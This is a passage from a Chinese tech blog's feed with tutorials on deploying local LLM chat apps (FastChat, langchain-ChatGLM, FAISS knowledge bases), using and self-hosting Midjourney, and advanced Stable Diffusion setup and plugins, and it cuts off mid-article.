RAM</li></ul><p><strong>如果没有足够的内存用</strong>，可以尝试下面两个办法来操作一下：</p><p>1、在命令中加入<strong>–low-cpu-mem</strong>，这个命令可以把峰值内存降到16G以下</p><p>2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.model.apply_delta \</span><br><span class="line">    --base-model-path /path/to/llama<span class="number">-7</span>b \</span><br><span class="line">    --target-model-path /path/to/output/vicuna<span class="number">-7</span>b \</span><br><span class="line">    --delta-path lmsys/vicuna<span class="number">-7</span>b-delta-v1<span class="number">.1</span></span><br><span class="line"></span><br><span class="line">python3 -m fastchat.model.apply_delta \</span><br><span class="line">    --base-model-path /path/to/llama<span class="number">-13</span>b \</span><br><span class="line">    --target-model-path /path/to/output/vicuna<span class="number">-13</span>b \</span><br><span class="line">    --delta-path lmsys/vicuna<span class="number">-13</span>b-delta-v1<span class="number">.1</span></span><br></pre></td></tr></table></figure><p>下载完模型文件之后，可以快捷的使用对应的模型</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5<span class="number">-3</span>b-v1<span class="number">.0</span></span><br></pre></td></tr></table></figure><p>相比其他的基座模型LLM，<strong>FastChat的平台化</strong>程度就比较高了。</p><p>首先提供了<strong>controller和model worker</strong>分别部署的方案，一对多的方案本身比较符合项目化的结构。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.serve.controller</span><br><span class="line"></span><br><span class="line">python3 -m fastchat.serve.model_worker --model-path /path/to/model/weights</span><br></pre></td></tr></table></figure><p>而且同样<strong>利用gradio构建了相应的web界面</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.serve.gradio_web_server</span><br></pre></td></tr></table></figure><p>除此之外FastChat还提供了<strong>和openai完全兼容的api接口</strong>和restfulapi.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> openai</span><br><span class="line">openai.api_key = <span class="string">"EMPTY"</span> <span class="comment"># Not support yet</span></span><br><span class="line">openai.api_base = <span class="string">"http://localhost:8000/v1"</span></span><br><span class="line"></span><br><span class="line">model = <span class="string">"vicuna-7b-v1.3"</span></span><br><span class="line">prompt = <span class="string">"Once upon a time"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># create a completion</span></span><br><span class="line">completion = openai.Completion.create(model=model, prompt=prompt, max_tokens=<span class="number">64</span>)</span><br><span class="line"><span class="comment"># print the completion</span></span><br><span class="line">print(prompt + completion.choices[<span class="number">0</span>].text)</span><br><span class="line"></span><br><span class="line"><span class="comment"># create a chat completion</span></span><br><span class="line">completion = openai.ChatCompletion.create(</span><br><span class="line">  model=model,</span><br><span class="line">  messages=[&#123;<span class="string">"role"</span>: <span class="string">"user"</span>, <span class="string">"content"</span>: <span class="string">"Hello! What is your name?"</span>&#125;]</span><br><span class="line">)</span><br><span class="line"><span class="comment"># print the completion</span></span><br><span class="line">print(completion.choices[<span class="number">0</span>].message.content)</span><br></pre></td></tr></table></figure><p>甚至可以直接以api的方式接入到其他的平台中，完成度很高。</p><h2 id="知识库文件"><a href="#知识库文件" class="headerlink" title="知识库文件"></a>知识库文件</h2><p><strong>知识库文件是langchain类方案中比较重要的一环</strong>，所有的问题会先进入知识库中搜索结果然后再作为上下文，知识库文件的数据量会直接影响到这类应用的结果有效度。而现在<strong>比较常见的相似度检测用的都是faiss</strong>，构建向量数据库用于数据比对。</p><ul><li><a href="https://github.com/facebookresearch/faiss" target="_blank" rel="noopener">https://github.com/facebookresearch/faiss</a></li></ul><table><thead><tr><th>知识库数据</th><th>FAISS向量</th></tr></thead><tbody><tr><td>中文维基百科截止4月份数据，45万</td><td>链接：<a href="https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn" target="_blank" rel="noopener">https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn</a> 提取码：l3pn</td></tr><tr><td>截止去年九月的130w条中文维基百科处理结果和对应faiss向量文件</td><td>链接：<a href="https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij" target="_blank" rel="noopener">https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij</a> 提取码：exij</td></tr><tr><td>💹 <a href="http://openkg.cn/dataset/fr2kg" target="_blank" rel="noopener">大规模金融研报知识图谱</a></td><td>链接：<a href="https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv" target="_blank" rel="noopener">https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv</a> 提取码：ujjv</td></tr></tbody></table><p>相应的现在很多应用还内置了<strong>用于测试知识库的接口</strong>，比如langchain-ChatGLM</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822165.png" alt="img"></p><p>通过<strong>微调知识相关度的阈值</strong>，可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822043.png" alt="img"></p><h1 id="langchain"><a href="#langchain" class="headerlink" title="langchain"></a>langchain</h1><p><strong>langchain是现在成熟度比较高的一套Aigc应用，现在比较主流的一种知识库检索方案</strong>，用的是曾经的文章中提到过的基于上下文的训练方案，用户输出会先<strong>进入数据库检索</strong>，然后找出最匹配问题的部分结果然后和问题<strong>一起加入到prompt的上下文</strong>中，最终由<strong>LLM生成最终的回答</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822632.png" alt="img"></p><p>这个方案是目前<strong>最经典的知识库型训练方案</strong>，最有效的解决了<strong>大模型本身训练的难度和反馈结果的有效度</strong>难以兼容的问题。</p><ul><li><a href="https://github.com/hwchase17/langchain" target="_blank" rel="noopener">https://github.com/hwchase17/langchain</a></li></ul><p>建立在langchain的思想上，其实衍生了非常多比较有意思的项目，<strong>一方面引用了包括ChatGLM-6B等各种开源的大模型</strong>，也用了<strong>开源的embedding方案</strong>来处理文本。</p><ul><li><a href="https://github.com/THUDM/ChatGLM-6B" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM-6B</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822033.png" alt="img"></p><ul><li><a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main" target="_blank" rel="noopener">https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main</a></li></ul><p>另一方面呢也做了比较成熟的<strong>vue前端+知识库</strong>，可以快速的拼凑出可用的chat ai。</p><ul><li><a href="https://github.com/imClumsyPanda/langchain-ChatGLM" target="_blank" rel="noopener">https://github.com/imClumsyPanda/langchain-ChatGLM</a></li><li><a href="https://github.com/yanqiangmiffy/Chinese-LangChain#![img](https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822670.png)" target="_blank" rel="noopener">https://github.com/yanqiangmiffy/Chinese-LangChain#![img](https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822670.png)</a></li></ul><h2 id="langchain-ChatGLM"><a href="#langchain-ChatGLM" class="headerlink" title="langchain-ChatGLM"></a>langchain-ChatGLM</h2><p>langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个，过程包括<strong>加载文件 -&gt; 读取文本 -&gt; 文本分割 -&gt; 文本向量化 -&gt; 问句向量化 -&gt; 在文本向量中匹配出与问句向量最相似的**</strong>top k<strong><strong>个 -&gt; 匹配出的文本作为上下文和问题一起添加到</strong></strong>prompt<strong><strong>中 -&gt; 提交给</strong></strong>LLM<strong>**生成回答</strong>。</p><p>整个项目中的每个部分都可以一定程度的自由组合，Embedding 默认选用的是 <a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main" target="_blank" rel="noopener"><strong>GanymedeNil/text2vec-large-chinese</strong></a>，LLM 默认选用的是 <a href="https://github.com/THUDM/ChatGLM-6B" target="_blank" rel="noopener"><strong>ChatGLM-6B</strong></a>。或者也可以通过<strong>fastchat</strong>来接入。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822380.png" alt="img"></p><p>配置完成并安装好环境之后，就可以运行，首次运行会下载对应的大模型。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822386.png" alt="img"></p><p>当然，这个模型实在是太大了，命令行下载的时候非常容易出问题，所以可以参考ChatGLM-6B的方案，自己下载模型然后再加载。</p><ul><li><a href="https://github.com/THUDM/ChatGLM-6B#从本地加载模型" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM-6B#%E4%BB%8E%E6%9C%AC%E5%9C%B0%E5%8A%A0%E8%BD%BD%E6%A8%A1%E5%9E%8B</a></li></ul><p>比较靠谱的就是先下模型实现，然后再单独下载模型并覆盖所有的文件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GIT_LFS_SKIP_SMUDGE=<span class="number">1</span> git clone https://huggingface.co/THUDM/chatglm<span class="number">-6</span>b</span><br></pre></td></tr></table></figure><ul><li><a href="https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/" target="_blank" rel="noopener">https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/</a></li></ul><p>然后需要修改对应的配置文件中模型的位置，在configs/model_config.py</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822879.png" alt="img"></p><p>默认的知识库文件路径是</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">knowledge_base\samples</span><br></pre></td></tr></table></figure><p>如果想用自用的本地知识文件，放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件，所以指定目录即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python cli_demo.py</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822803.png" alt="img"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3<span class="number">.10</span> .\webui.py</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822855.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是&lt;strong&gt;ChatGPT的出现&lt;/strong&gt;，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。就现在而言，&lt;strong&gt;打造一个自己的AIGC应用已经非常简单了&lt;/strong&gt;。&lt;/p&gt;</summary>
    
    
    
    
    <category term="aigc" scheme="https://lorexxar.cn/tags/aigc/"/>
    
  </entry>
  
  <entry>
    <title>赛博偶像速成指南（三）- Midjourney</title>
    <link href="https://lorexxar.cn/2023/06/21/cybergirl3/"/>
    <id>https://lorexxar.cn/2023/06/21/cybergirl3/</id>
    <published>2023-06-21T09:27:49.000Z</published>
    <updated>2023-06-21T09:30:40.000Z</updated>
    
    <content type="html"><![CDATA[<p>之前的几篇关于AI生成图片的文章讲的都是<strong>stable diffusion</strong>，虽然SD<strong>出现的更早而且开源免费</strong>，但其实在设计圈使用更广泛的是<strong>Midjourney</strong>，<strong>Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。</strong></p><a id="more"></a><h1 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h1><p>注册Discord并授权使用Midjourney的bot</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729980.png" alt="img"></p><p>现在的Midjourney已经正式转为<strong>收费版本</strong>了，价格还是比较便宜的，最便宜的版本一个月60多块也还算能接受。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729280.png" alt="img"></p><p>订阅完成之后就<strong>可以加入Midjourney的频道，在左边可以选择newbie或者general的频道</strong>进去</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729966.png" alt="img"></p><p>你可以直接在这个频道里使用，当然，这个频道里消息非常多，刷的很快，也有一个办法是你可以<strong>在自己的私人频道使用这个bot</strong>。首先你需要有一个你<strong>拥有管理权限的频道</strong>，然后在Midjourney中找到这个bot并把它添加到自己的服务器中。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729624.png" alt="img"></p><p>然后就可以<strong>正常的使用命令</strong>了。</p><p><strong>最常用的命令就是/imagine</strong>，输入命令会直接引导格式让你输入对应的prompt，但很可惜的是Midjourney本体<strong>对中文的支持并不是很好</strong>，生成结束之后就会弹出结果。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729655.png" alt="img"></p><p>下面的几个选项对应的是<strong>上面图的进一步发展方向</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729743.png" alt="img"></p><p>其中<strong>U是选定并放大其中的一张图，V是选定一张图在这个图的结构上进一步生成</strong>，如果都不满意还可以重新生成一次。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729119.png" alt="img"></p><p>假设我们选择U1之后，他会获得一个<strong>放大版本的更多细节的图。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729840.png" alt="img"></p><p>之后如果你还想进一步生成，还可以点选<strong>Make Variations来继续生成之前的4格图</strong>继续风格的演变和生成。</p><h1 id="进阶配置"><a href="#进阶配置" class="headerlink" title="进阶配置"></a>进阶配置</h1><p>Midjourney的基础用法就是<strong>用imagine配合基础的文字描述</strong>来生成图片</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729744.png" alt="img"></p><p>但事实上，Midjourney还有<strong>很多进阶选项</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729676.png" alt="img"></p><p>首先你可以通过<strong>传入图片链接来使用图生图功能</strong>。除此之外，还有一些参数可以提供。</p><ul><li><strong>–aspect，–ar：</strong>修改生成图片的纵横比. </li></ul><p>ps: –aspect 2:3</p><ul><li><strong>–chaos &lt;number 0–100&gt;：</strong>改变结果的多样性，值越高变量越大</li><li><strong>–iw &lt;0–2&gt;：</strong>设置图片prompt和文字prompt的权重比例，默认值是1</li><li><strong>–no Negative prompting：</strong>否定提示词，比如说–no plants可以去除图里的植物</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729328.png" alt="img"></p><ul><li><strong>–quality &lt;.25, .5, or 1&gt;：</strong>花费多少渲染质量时间，默认值是1</li><li><strong>–repeat &lt;1–40&gt;，–r &lt;1–40&gt;：</strong>重复多少次</li><li><strong>–seed &lt;integer between 0–4294967295&gt;：</strong>随机数种子</li><li><strong>–stop &lt;integer between 10–100&gt;：</strong>在中途停止生成</li><li><strong>–style <raw>：</strong>切换Midjourney的版本</li><li><strong>–stylize <number>，–s <number>：</strong>Midjourney美术风格的强度</li><li><strong>–tile：</strong>重复图块以生成更大的图</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729601.png" alt="img"></p><p>除此之外你也可以指定使用Midjourney不同版本的基础模型</p><ul><li>-<strong>-niji：</strong>适用于动漫风格的基础模型</li><li><strong>–version &lt;1, 2, 3, 4, or 5&gt;：</strong>不同版本的Midjourney算法</li></ul><h1 id="继续拓展"><a href="#继续拓展" class="headerlink" title="继续拓展"></a>继续拓展</h1><p>在使用Midjourney的过程中，能最明显感觉到的是，Midjourney其实是通过<strong>大幅度简化来实现产品使用体验的大幅度提升</strong>，使用Midjourney你并<strong>不能像SD一样在很多地方影响图片的生成逻辑</strong>，拿生成赛博偶像的系列图举例子，你<strong>很难生成同样外形的多个系列图片</strong>。</p><p>而Midjourney这个工具其实更聚焦于设计师群体，重要的是你想要画一个什么东西出来，<strong>一个符合预期的prompt提示词，配合多轮的迭代式绘画改进，你基本上可以用Midjourney画出一个满意的东西。</strong></p><p>而我觉得Midjourney除了<strong>超棒的交互式体验</strong>，最牛的就是<strong>底层关键词的解读逻辑有效度非常之高，而且基础模型的审美非常不错</strong>，你大概写一个描述词基本上都能得到一个质量非常高的图，这点是其他绘画ai都达不到的高度。</p><p>举个例子，<strong>a hacker before computer</strong> </p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729209.png" alt="img"></p><p>如果是在<strong>文心一言</strong>，你就会得到这样一个图</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729605.png" alt="img"></p><p>这里你能很明显的感受到他们的区别，就是<strong>Midjourney生成结果质量非常之高</strong>，你还可以让他进一步生成，如果你觉得直接选择V变化太小了，你可以选择<strong>用大图来重新图生图。</strong></p><p>比如这里我拿第二个图进行重新生成，<strong>加入赛博朋克风格</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729504.png" alt="img"></p><p>当然你可能没有什么想法，但你只是喜欢这个画风，那你<strong>可以通过chaos这个参数来增加多样性</strong>，当然这个值建议不要设置太大，否则基本和原图就关系不大了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730156.png" alt="img"></p><p><strong>你可以在midjourney上轻而易举的获得你想要的任何改动，不用担心你的需求无法理解，Midjourney会不知疲倦的持续产出各种东西来。每次用这个东西的时候都能感觉到设计师的悲惨。</strong></p><p>之前也曾经听过一个事情，设计师届曾<strong>大量的抱团反对ai绘画工具的诞生，用设计师设计的东西训练ai，最后反倒毁掉了设计师的工作</strong>，真是令人唏嘘。</p><h1 id="在线部署Midjourney"><a href="#在线部署Midjourney" class="headerlink" title="在线部署Midjourney"></a>在线部署Midjourney</h1><p>前面说了很多关于Midjourney的使用问题，但对于国内来说Midjourney最大的问题就是discord是需要科学的。所以接下来介绍一个可以在国内部署的方案</p><ul><li><a href="https://github.com/novicezk/midjourney-proxy" target="_blank" rel="noopener">https://github.com/novicezk/midjourney-proxy</a></li></ul><p>你可以使用这个项目来部署一个Midjourney的代理，我觉得比较好用的是部署在Railway的版本，不需要用自己的服务器，这个网站提供免费的5美刀和每个月免费的500小时使用。</p><ul><li><a href="https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md" target="_blank" rel="noopener">https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730156.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730645.png" alt="img"></p><p>部署完成之后可以获得一个mid的链接</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730344.png" alt="img"></p><p>这个时候还只有api，你需要配合一个前端来完成，我选用了魔改版的ChatGPT-Midjourney</p><ul><li><a href="https://github.com/Licoy/ChatGPT-Midjourney" target="_blank" rel="noopener">https://github.com/Licoy/ChatGPT-Midjourney</a></li></ul><p>这个东西可以直接部署Vercel版本的，非常好弄，直接点击deploy就可以开始配置了</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730562.png" alt="img"></p><p>部署好了绑定域名就可以用了，很方便。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730247.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前的几篇关于AI生成图片的文章讲的都是&lt;strong&gt;stable diffusion&lt;/strong&gt;，虽然SD&lt;strong&gt;出现的更早而且开源免费&lt;/strong&gt;，但其实在设计圈使用更广泛的是&lt;strong&gt;Midjourney&lt;/strong&gt;，&lt;strong&gt;Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="chatgpt" scheme="https://lorexxar.cn/tags/chatgpt/"/>
    
    <category term="midjourney" scheme="https://lorexxar.cn/tags/midjourney/"/>
    
  </entry>
  
  <entry>
    <title>赛博偶像速成指南（二）- SD进阶篇</title>
    <link href="https://lorexxar.cn/2023/06/02/cyber-girl2/"/>
    <id>https://lorexxar.cn/2023/06/02/cyber-girl2/</id>
    <published>2023-06-02T10:12:24.000Z</published>
    <updated>2023-06-05T07:00:54.000Z</updated>
    
    <content type="html"><![CDATA[<p>在第一篇关于AI绘图的文章中，我主要介绍了stable diffusion的各种使用方法</p><ul><li><a href="https://lorexxar.cn/2023/02/21/cyber-girl/">https://lorexxar.cn/2023/02/21/cyber-girl/</a></li></ul><p><strong>在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。</strong></p><p>这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。</p><a id="more"></a><h1 id="在线部署stable-diffusion"><a href="#在线部署stable-diffusion" class="headerlink" title="在线部署stable diffusion"></a>在线部署stable diffusion</h1><p>AI相关的东西都有一个很大的共同点就是<strong>对GPU的算力要求太高</strong>，相比在服务器上运行，更靠谱的方案是在本地电脑上跑，比起动辄5、6位数的服务器，<strong>一个入门级的4070ti就已经能应对大量的ai训练场景</strong>了。</p><h2 id="在Google-Colab白嫖GPU"><a href="#在Google-Colab白嫖GPU" class="headerlink" title="在Google Colab白嫖GPU"></a>在Google Colab白嫖GPU</h2><p>但有个很特殊的东西是<strong>Google Colab</strong>，这是Google提供的免费GPU算力</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814320.png" alt="img"></p><p>现在有很多现成的脚本可以允许你<strong>一键部署脚本</strong>，就比如</p><ul><li><a href="https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV" target="_blank" rel="noopener">https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV</a></li></ul><p>点击打开之后，先<strong>点击右上角的连接，会随机分配一个机器给你</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814746.png" alt="img"></p><p>连接成功就会<strong>变成绿色</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814327.png" alt="img"></p><p>免费的计算单元式有限的，<strong>你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。</strong>Colab Pro的价格是大概每月75.</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814809.png" alt="img"></p><p>在登陆成功并里连接好机器之后，你就可以按照步骤逐步点击操作，<strong>每一步点开箭头按钮即可</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814201.png" alt="img"></p><p>这里需要下载的各种内容都会<strong>直接下载到你账号对应的Google云端硬盘。</strong></p><p>然后是一些比较重要的设置，首先基础的模型包中选择合适的模型，<strong>在上篇文章提到过Chilloutmix是一个人像的写实通用模型</strong>，正常来说我们都会选择这个。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814165.png" alt="img"></p><p>当然，如果你想要下载其他模型，你也可以在这里填入相应的包链接下载。<strong>包括后面的LoRa也是一样。</strong>其他的大部分内容都不用更改，直接跑完即可。</p><p><strong>最后点击运行启动web ui</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814262.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814298.png" alt="img"></p><p>然后你就可以直接使用在线版本的stable了，要注意的是免费的colab会有两个问题</p><p>1、<strong>免费的colab只能连续运行十几小时</strong>，再用就必须停一段时间，就又会获得新的免费时间。</p><p>2、<strong>在使用人数比较多的时候，免费账户可能会申请不到GPU算力。</strong></p><p>当然如果你用的是colab pro就不用这么麻烦了。</p><h2 id="在Stable-diffusion基础上的第三方"><a href="#在Stable-diffusion基础上的第三方" class="headerlink" title="在Stable diffusion基础上的第三方"></a>在Stable diffusion基础上的第三方</h2><p>其实市面上有很多很多的第三方开发AI绘图工具是<strong>基于Stable diffusion做的</strong>，其中很多都很好用，适当的付费就可以换来非常好用的工具，就比如Civitai中，你就可以直接<strong>点击跳转到第三方网站付费运行相应的模型。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814834.png" alt="img"></p><p>除了这些内置的以外，其中有个我感觉比较好用的是<strong>Vega AI</strong></p><ul><li><a href="https://rightbrain.art/" target="_blank" rel="noopener">https://rightbrain.art/</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814021.png" alt="img"></p><p>这个网站已经把Stable diffusion包装成很接近<strong>midjounry</strong>的工具了，你可以<strong>非常简单的选择模型并输出描述文案，并且可以在图片基础上做反复微调</strong>，虽然这都是Stable diffusion本身的功能，但不得不说在包装后更好用了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814987.png" alt="img"></p><h1 id="Stable-diffusion拓展插件"><a href="#Stable-diffusion拓展插件" class="headerlink" title="Stable diffusion拓展插件"></a>Stable diffusion拓展插件</h1><p>在上篇文章讲到Stable diffusion本身的各种用法，其实除了本体以外，<strong>Stable diffusion还支持拓展插件</strong>，可以有非常不错的功能拓展。</p><h2 id="Openpose-骨骼绑定"><a href="#Openpose-骨骼绑定" class="headerlink" title="Openpose 骨骼绑定"></a>Openpose 骨骼绑定</h2><p>Openpose Editor是<strong>一个最近比较流行的骨骼动作编辑插件</strong>，你可以直接在下面的链接下载这个插件。</p><ul><li><a href="https://github.com/fkunn1326/openpose-editor" target="_blank" rel="noopener">https://github.com/fkunn1326/openpose-editor</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814700.png" alt="img"></p><p>通过这个插件，你可以在一定程度上<strong>设定生成图片的人物骨骼结构。从而生成指定的图片。</strong></p><p>在导入Openpose插件之后，你可以在上面选择<strong>Openpose编辑器</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814486.png" alt="img"></p><p>然后选择简单的骨骼结构之后<strong>推导到文生图继续编辑</strong>，在左下角勾选<strong>启用，和低vram模式</strong>，其他的基本不用动。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814571.png" alt="img"></p><p>这样就可以跑出来一张指定骨骼样子的图片</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815163.png" alt="img"></p><p>除了指定骨骼以外，<strong>你还可以通过上传图片来解构图片本身的骨骼，然后再用来指定和生成</strong>，这个Openpose在生成人物图片的优先级以及效果远比图生图效果要好，尤其是可以很大程度还原图片本身的样式。</p><p>在OpenPose编辑器中使用<strong>Detect from image获取图片中的人物骨骼</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815157.png" alt="img"></p><p>然后发送到<strong>文生图或者图生图里传入关键字</strong>。等待一会儿就会生成对应的图了</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815287.png" alt="img"></p><p>当然这里这个简单的骨骼绑定还是比较简单的一种，<strong>配合适当的ControlNet插件你还可以做到线稿成图、色块成图等等类似的操作。</strong></p><h2 id="ChatGPT关键字"><a href="#ChatGPT关键字" class="headerlink" title="ChatGPT关键字"></a>ChatGPT关键字</h2><p>其实我觉得Stable diffusion里<strong>最不实用的关键点就是正向和负向关键字</strong>，关键字系统本身相当复杂而且还只能识别英语，并且<strong>里面的优先级问题和竞争问题相当复杂</strong>，对于使用者来说，这点就是一个相当大的门槛。反之在<strong>midjounry</strong>中这方面就做的非常好，你可以用中文描述场景在逐步优化。</p><p>而现在，你可以用一个简单的ChatGPT插件来实现类似的功能，在配置上chatgpt的api之后你就可以<strong>用GPT3.5来解构和构造关键字。</strong></p><ul><li><a href="https://github.com/hallatore/stable-diffusion-webui-chatgpt-utilities" target="_blank" rel="noopener">https://github.com/hallatore/stable-diffusion-webui-chatgpt-utilities</a></li></ul><p>成功安装之后，可以在设置里找到ChatGPT Utilities，点开并配置Chatgpt 的apikey</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815842.png" 